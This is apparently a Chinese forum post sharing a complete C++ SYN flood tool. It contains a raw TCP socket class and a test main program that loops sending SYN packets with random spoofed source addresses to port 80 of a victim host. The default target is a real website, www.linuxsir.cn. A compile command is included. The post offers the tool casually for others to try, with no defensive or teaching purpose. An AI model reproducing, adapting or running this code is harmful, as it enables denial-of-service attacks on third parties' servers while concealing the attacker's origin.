|
最近无聊时写的简单的synflood工具,试一试:
文件:rawsocket.hpp+rawsocket.cpp
rawsocket.hpp
- #ifndef RAWSOCKET_H
- #define RAWSOCKET_H
- #include <netinet/in.h>
- #include <netinet/ip.h>
- #include <netinet/tcp.h>
- #define IP_DONT_FRAG 64 // htons(2<<13) = 64
- #define TCP_WINDOW 65407 // htons(0x7fff) = 65407
- class CRawTcpSocket {
- public:
- CRawTcpSocket( void ) throw();
- CRawTcpSocket( int sock );
- ~CRawTcpSocket();
- void SetIpHeader( unsigned int saddr, unsigned int daddr, unsigned char protocol = IPPROTO_TCP, unsigned short frag = IP_DONT_FRAG, unsigned short id = 0, unsigned char ttl = 255 );
- void SetTcpHeader( unsigned short sport, unsigned short dport, unsigned seq, unsigned int ack, const char *flag, unsigned short window = TCP_WINDOW, unsigned int urgp = 0 );
- void SetIpOption( const unsigned char *opt, int len );
- void SetTcpOption( const unsigned char *opt, int len );
- int Send( const void *data, int len );
- void Close( void )
- {
- close( m_sock );
- m_sock = -1;
- }
- private:
- CRawTcpSocket( const CRawTcpSocket& );
- const CRawTcpSocket& operator=( const CRawTcpSocket& );
- void Initialize( void );
- unsigned short CheckSum( const unsigned short *ptr, int len );
- void TcpCheckSum( void );
- private:
- struct iphdr m_iph;
- struct tcphdr m_tcph;
- int m_sock;
- int m_ipoptlen;
- int m_tcpoptlen;
- unsigned char *m_ipopt;
- unsigned char *m_tcpopt;
- };
- #endif // RAWSOCKET_H
复制代码
rawsocket.cpp
编译:g++ -W -Wall -g -DTEST -o synflood rawsocket.cpp
- #include <cstring>
- #include <unistd.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <stdexcept>
- #include "rawsocket.hpp"
- CRawTcpSocket::CRawTcpSocket( void ) throw()
- {
- m_sock = socket( PF_INET, SOCK_RAW, IPPROTO_RAW );
- if ( m_sock < 0 ) throw std::runtime_error( "create raw socket error" );
- Initialize();
- }
- CRawTcpSocket::CRawTcpSocket( int sock )
- {
- m_sock = sock;
- Initialize();
- }
- CRawTcpSocket::~CRawTcpSocket()
- {
- close( m_sock );
- delete []m_ipopt;
- delete []m_tcpopt;
- }
- void CRawTcpSocket::Initialize( void )
- {
- shutdown( m_sock, SHUT_RD );
- bzero( &m_iph, sizeof(m_iph) );
- bzero( &m_tcph, sizeof(m_tcph) );
- m_ipopt = 0;
- m_tcpopt = 0;
- m_ipoptlen = 0;
- m_tcpoptlen = 0;
- }
- void CRawTcpSocket::SetIpOption( const unsigned char *opt, int len )
- {
- delete []m_ipopt;
- m_ipopt = 0;
- if ( opt && len>0 && len<=40 && !(len%4) ) {
- m_ipopt = new unsigned char[len];
- memcpy( m_ipopt, opt, len );
- m_ipoptlen = len;
- } else {
- m_ipoptlen = 0;
- }
- }
- void CRawTcpSocket::SetTcpOption( const unsigned char *opt, int len )
- {
- delete []m_tcpopt;
- m_tcpopt = 0;
- if ( opt && len>0 && len<=40 && !(len%4) ) {
- m_tcpopt = new unsigned char[len];
- memcpy( m_tcpopt, opt, len );
- m_tcpoptlen = len;
- } else {
- m_tcpoptlen = 0;
- }
- }
- void CRawTcpSocket::SetIpHeader( unsigned int saddr, unsigned int daddr, unsigned char protocol, unsigned short frag, unsigned short id, unsigned char ttl )
- {
- bzero( &m_iph, sizeof(m_iph) );
- m_iph.ihl = 5;
- m_iph.version = 4;
- m_iph.id = id;
- m_iph.frag_off = frag;
- m_iph.ttl = ttl;
- m_iph.protocol = protocol;
- m_iph.saddr = saddr;
- m_iph.daddr = daddr;
- }
- void CRawTcpSocket::SetTcpHeader( unsigned short sport, unsigned short dport, unsigned int seq, unsigned int ack, const char *flag, unsigned short window, unsigned int urgp )
- {
- bzero( &m_tcph, sizeof(m_tcph) );
- m_tcph.source = sport;
- m_tcph.dest = dport;
- m_tcph.seq = seq;
- m_tcph.ack_seq = ack;
- m_tcph.doff = 5;
- m_tcph.window = window;
- m_tcph.urg_ptr = urgp;
- if ( flag ) {
- m_tcph.fin = (strchr(flag,'F'))?1:0;
- m_tcph.syn = (strchr(flag,'S'))?1:0;
- m_tcph.rst = (strchr(flag,'R'))?1:0;
- m_tcph.psh = (strchr(flag,'P'))?1:0;
- m_tcph.ack = (strchr(flag,'A'))?1:0;
- m_tcph.urg = (strchr(flag,'U'))?1:0;
- }
- }
- unsigned short CRawTcpSocket::CheckSum( const unsigned short *ptr, int len )
- {
- unsigned int sum = 0;
- unsigned short odd = 0;
- while( len > 1 ) {
- sum += *ptr++;
- len -= 2;
- }
- if ( len ) {
- *((unsigned char *)&odd) = *(unsigned char *)ptr;
- sum += odd;
- }
- sum = (sum>>16) + (sum&0xffff);
- sum += (sum>>16);
- unsigned short ret = (~sum)&0xffff;
- return ret;
- }
- void CRawTcpSocket::TcpCheckSum( void )
- {
- struct TcpPsdHeader {
- unsigned int saddr;
- unsigned int daddr;
- unsigned char zero;
- unsigned char protocol;
- unsigned short len;
- } psd;
- psd.saddr = m_iph.saddr;
- psd.daddr = m_iph.daddr;
- psd.zero = 0;
- psd.protocol = IPPROTO_TCP;
- psd.len = htons( 20+m_tcpoptlen );
- unsigned char buf[72];
- memcpy( buf, &psd, sizeof(psd) );
- memcpy( buf+sizeof(psd), &m_tcph, 20 );
- if ( m_tcpopt )
- memcpy( buf+sizeof(psd)+20, m_tcpopt, m_tcpoptlen );
- m_tcph.check = CheckSum( (const unsigned short *)buf, sizeof(psd)+20+m_tcpoptlen );
- }
- int CRawTcpSocket::Send( const void *data, int len )
- {
- if ( (!data&&len) || (data&&len<=0) || (data&&len>1460) ) return -1;
- if ( m_ipopt ) {
- m_iph.ihl = (20+m_ipoptlen) >> 2;
- } else {
- m_iph.ihl = 5;
- }
- if ( m_tcpopt ) {
- m_tcph.doff = (20+m_tcpoptlen) >> 2;
- } else {
- m_tcph.doff = 5;
- }
- TcpCheckSum();
- char buf[1500];
- int dlen = 0;
- memcpy( buf, &m_iph, 20 );
- dlen += 20;
- if ( m_ipopt ) {
- memcpy( buf+dlen, m_ipopt, m_ipoptlen );
- dlen += m_ipoptlen;
- }
- memcpy( buf+dlen, &m_tcph, 20 );
- dlen += 20;
- if ( m_tcpopt ) {
- memcpy( buf+dlen, m_tcpopt, m_tcpoptlen );
- dlen += m_tcpoptlen;
- }
- int rest = 1500-dlen;
- rest = (len<rest)?len:rest;
- memcpy( buf+dlen, data, rest );
- dlen += rest;
- struct sockaddr_in addr;
- bzero( &addr, sizeof(addr) );
- addr.sin_family = AF_INET;
- addr.sin_addr.s_addr = m_iph.daddr;
- int ret = sendto( m_sock, buf, dlen, 0, (struct sockaddr *)&addr, sizeof(addr) );
- if ( m_ipopt ) {
- delete []m_ipopt;
- m_ipopt = 0;
- m_ipoptlen = 0;
- }
- if ( m_tcpopt ) {
- delete []m_tcpopt;
- m_tcpopt = 0;
- m_tcpoptlen = 0;
- }
- return ret;
- }
- #ifdef TEST
- #include <time.h>
- #include <cstdlib>
- #include <netdb.h>
- #include <arpa/inet.h>
- #include <iostream>
- #include <signal.h>
- int count = 0;
- void AppExit( int )
- {
- std::cout << "total send " << count << " packets" << std::endl;
- exit( 0 );
- }
- int main( int argc, char **argv )
- {
- char victim[64];
- strcpy( victim, "www.linuxsir.cn" );
- if ( argc > 1 ) strcpy( victim, argv[1] );
- struct hostent *host = gethostbyname( victim );
- if ( !host ) {
- herror( "gethostbyname" );
- return -1;
- }
- unsigned int daddr;
- memcpy( &daddr, host->h_addr, host->h_length );
- signal( SIGINT, AppExit );
- srandom( time(0) );
- try
- {
- CRawTcpSocket raw;
- unsigned int saddr, ack;
- unsigned short sport, dport = htons(80);
- while( 1 ) {
- saddr = (unsigned int)random();
- ack = (unsigned int)random();
- sport = random()&0xffff;
- sport = (sport<1025)?htons(sport+1025):htons(sport);
- raw.SetIpHeader( saddr, daddr );
- raw.SetTcpHeader( sport, dport, ack, 0, "S" );
- ack = raw.Send( 0, 0 );
- if ( ack > 0 ) count++;
- struct timespec req;
- req.tv_sec = 0;
- req.tv_nsec = 1000;
- nanosleep( &req, 0 );
- }
- }
- catch ( std::exception &e )
- {
- std::cerr << e.what() << std::endl;
- }
- catch ( ... )
- {
- }
- return 0;
- }
- #endif // TEST
复制代码 |
|